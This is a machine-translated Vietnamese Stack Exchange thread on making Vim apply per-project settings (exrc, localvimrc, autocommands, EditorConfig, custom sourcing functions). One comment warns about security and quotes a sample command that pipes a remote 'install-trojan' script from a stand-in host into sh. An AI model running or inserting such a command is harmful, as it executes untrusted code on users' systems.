Chỉ áp dụng cài đặt cho cây thư mục


33

Trong công việc của tôi, chúng tôi sử dụng một tiêu chuẩn tslà 2; sở thích cá nhân của tôi là 4, đó là những gì tôi sử dụng cho các dự án sở thích của mình và dự án khác mà chúng tôi được thừa hưởng có quy ước ts=8.

Ngoài ra còn có một số cài đặt khác tôi muốn đặt trên cơ sở dự án (ví dụ: gấp). Dựa trên các cài đặt này trên loại tệp hoặc tự động phát hiện chúng dựa trên những gì tệp sử dụng không phải là tùy chọn tốt, vì tôi muốn tôn trọng các quy ước của từng dự án.

Tôi có thể làm cho Vim sử dụng tệp cài đặt áp dụng cho dự án (mọi thứ trong cây thư mục) mà không cần thêm mô hình cho tất cả các tệp không?


Câu trả lời:


19

Có một vài cách nhẹ để làm điều này.

  1. Kiểm tra một tập tin của tên đã cho và nguồn nó

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Các tập tin được ẩn trong ví dụ nhưng đó là tùy chọn.

  2. .vimrcTệp cục bộ (không giống như plugin)

    set exrc
    

    Điều này tương tự như 1. nhưng tệp sẽ được gọi là ".vimrc".

    Một gợi ý phổ biến đi kèm với điều này là sử dụng

    set secure
    

    trong đó ngăn chặn một .vimrctập tin thực hiện những điều nguy hiểm tiềm tàng như chạy các lệnh shell. Ý tưởng là bạn sẽ không muốn vim đọc một .vimrctập tin được viết bởi người khác làm điều gì đó khó chịu.

  3. Autocommands kiểm tra đường dẫn hiện tại

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Đây là tùy chọn tôi sử dụng. Tôi không thay đổi nhiều giữa các dự án khác nhau vì vậy YMMV nhưng nếu bạn chỉ muốn thực hiện một hoặc hai điều dựa trên đường dẫn và giữ nó trong .vimrcđiều này thì điều này thật hay và đơn giản.


Lưu ý rằng tùy chọn 1 và 2 có cùng giới hạn được mô tả trong nhận xét này : nó không áp dụng đệ quy cho các thư mục con.

15

Tôi sử dụng localvimrc cho mục đích này.

Đặt một .lvimrccài đặt dự án của bạn bên trong dự án của bạn và các cài đặt này sẽ ghi đè cài đặt .vimrc.

Theo mặc định, bạn sẽ được hỏi nếu bạn muốn tìm nguồn tệp này, vd:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Điều này là để ngăn chặn việc tìm nguồn cung cấp các tệp vimrc ngẫu nhiên (không đáng tin cậy). Nếu bạn thấy điều này gây phiền nhiễu, bạn có thể thiết lập danh sách trắng các .lvimrctệp với g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Hoặc bạn chỉ có thể vô hiệu hóa yêu cầu xác nhận hoàn toàn với set g:localvimrc_ask = 0. Điều này không được khuyến khích, mặc dù.


5

Cấu hình trung tâm

Nếu bạn có thể định cấu hình các lệnh cụ thể / ngoại lệ cục bộ một cách tập trung, bạn có thể đặt các chế độ tự động như vậy vào ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Điều quan trọng là sử dụng :setlocalthay vì :set, và tương tự như vậy :map <buffer> ...:command! -buffer ....

Mặt khác, nếu bạn muốn cấu hình cụ thể được lưu trữ với dự án (và không muốn nhúng này trong tất cả các file thông qua modelines ), bạn đã sau hai lựa chọn:

Cấu hình cục bộ với chức năng tích hợp

Nếu bạn luôn khởi động Vim từ thư mục gốc của dự án, thì tích hợp sẵn

:set exrc

cho phép đọc một .vimrctập tin từ thư mục hiện tại. Bạn có thể đặt các :set ts=4 sw=4lệnh trong đó.

Cấu hình cục bộ thông qua plugin

Nếu không, bạn cần sự trợ giúp của một plugin; có một số trên vim.org; Tôi có thể đề xuất plugin localrc , thậm chí cho phép cấu hình cụ thể theo kiểu tệp cục bộ.

Lưu ý rằng đọc cấu hình từ hệ thống tập tin có ý nghĩa bảo mật; bạn có thể muốn :set secure.


2
Lưu ý rằng .exrcrất hạn chế: khái niệm dự án dừng lại ở thư mục hiện tại, tức là các tệp trong thư mục con không thuộc về dự án.
Luc Hermitte

4

Có dự án Trình cấu hình Trình biên tập cho phép bạn xác định các cấu hình cấp dự án như cài đặt tabstop cùng với các kiểu đường mới và các thứ khác. Có rất nhiều cách cắm cho tất cả các loại biên tập viên bao gồm cả vim . Nó cũng cho phép bạn xác định cài đặt cho các loại tệp khác nhau.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

Tôi đã viết cái này và thêm nó vào .vimrc của tôi để cho phép tôi đặt các tệp .vimsinstall trong các dự án và dự án phụ.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

Trong khi điều này hoạt động, nó có thể được coi là nguy hiểm vì bạn chỉ cần tìm nguồn tệp và thực thi tất cả các lệnh trong đó (bao gồm các lệnh shell, chẳng hạn như system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij

0

Tôi muốn điều này vì vậy tôi chỉ thực hiện nó tại địa phương. Tôi không quan tâm đến việc "thực thi mã ngẫu nhiên" nhưng điều này có thể hoạt động cho các nhu cầu đơn giản. Điều chỉnh tên tệp khi cần thiết.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Đây local.vimrcthực sự là một liên kết đến một tệp trong bộ sưu tập đáng kể các tệp vimrc của mỗi công ty mà tôi có thể giữ quyền kiểm soát nguồn ở nơi khác, giúp dễ dàng di chuyển toàn bộ cấu hình của mình sang các máy khác hoặc nếu tôi truy cập vào một công ty tại chỗ hoặc một cái gì đó . Cấu hình xếp tầng có thể được sử dụng nhưng trong thực tế tôi không cần chức năng đó. Tôi cũng nối dây F8để mở tập tin tìm thấy và "chính" của mình .vimrctrong một tab mới ...

Bên trong các cấu hình cục bộ đó, vì chúng được phân tích cú pháp cho mọi tệp được mở, hãy đảm bảo đặt cho bạn ánh xạ và cài đặt thành bộ đệm cục bộ. Ví dụ

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.